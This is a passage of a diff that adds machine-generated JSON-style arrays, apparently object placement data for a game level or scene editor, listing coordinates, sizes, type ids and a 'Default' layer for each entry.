+ [
+ 1819.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6603,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6604,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6623,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 823.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6624,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6625,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6626,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6638,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6639,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6640,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6641,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6642,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 992.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6643,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6644,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6645,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6646,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6647,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6648,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6649,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6650,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6651,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6652,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6653,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6654,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6655,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6656,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 993.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6657,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6658,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6659,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6662,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 776,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6664,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6665,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6666,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6667,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6668,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6669,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6670,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6672,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6673,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6674,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6675,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6676,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6677,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6678,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6679,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6680,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6681,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6682,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6683,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6684,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6685,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6686,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6687,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6688,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 560.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6689,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6690,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6691,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6692,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 728.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6693,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6694,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6695,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 897.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6696,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6697,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6698,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6699,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6700,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6702,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6703,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6704,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6705,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6706,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 898.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6707,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6708,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6709,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 681,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6710,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6713,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 685,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6715,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6716,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 828,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6717,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458,
+ 644,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6718,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865,
+ 380,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6719,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399,
+ 618,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6720,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2893,
+ 807,
+ 0,
